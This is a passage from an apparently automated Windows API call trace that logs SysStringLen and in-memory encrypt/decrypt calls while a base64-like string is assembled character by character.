[7]=0x1))) returned 0x0 [0135.540] SysStringLen (param_1="") returned 0x8 [0135.540] SysStringLen (param_1="Y") returned 0x8 [0135.540] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.540] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.540] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.540] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.540] SysStringLen (param_1="YW") returned 0x8 [0135.540] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.540] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.540] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.540] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.541] SysStringLen (param_1="YWM") returned 0x8 [0135.541] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.541] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.541] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.541] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.541] SysStringLen (param_1="YWM1") returned 0x8 [0135.541] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.541] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.541] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.541] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.541] SysStringLen (param_1="YWM1O") returned 0x8 [0135.541] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.541] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.541] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.541] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.541] SysStringLen (param_1="YWM1OT") returned 0x8 [0135.541] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.541] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.542] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.542] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.542] SysStringLen (param_1="YWM1OTE") returned 0x8 [0135.542] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.542] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.542] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.542] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.542] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0135.542] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.542] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.542] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.542] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.542] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0135.542] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.542] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0135.542] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.542] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.542] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.542] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.543] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0135.543] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.543] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.543] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.543] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.543] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0135.543] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.543] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.543] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.543] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.543] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0135.543] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.543] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.543] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.543] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.544] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0135.544] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.544] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.544] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.544] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.544] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0135.544] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.544] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.544] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.544] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.544] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0135.544] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.544] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.544] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.544] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.544] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0135.544] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.544] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.544] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.544] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.544] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0135.544] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.545] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0135.545] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.545] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.545] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.545] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.545] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0135.545] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.545] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.545] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.545] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.545] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0135.545] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.545] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.545] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.545] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.545] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0135.545] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.546] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.546] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.546] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.546] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0135.546] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.546] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.546] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.546] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.546] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0135.546] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.546] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.546] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.546] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.546] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0135.546] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.546] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.546] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.546] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.546] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0135.547] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.547] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.547] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.547] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.547] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0135.547] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.547] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0135.547] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.547] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.547] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.547] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.547] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0135.547] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.547] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.547] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.547] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.547] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0135.547] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.547] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.547] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.547] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.547] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0135.547] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.548] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.548] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.548] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.548] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0135.548] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.548] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.548] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.548] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.548] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0135.548] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.548] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.548] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.548] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.548] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0135.548] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.548] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.548] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.548] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.548] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0135.548] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.549] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.549] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.549] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.549] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0135.549] SystemFunction041 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.549] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0135.549] SystemFunction040 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.549] SysStringLen 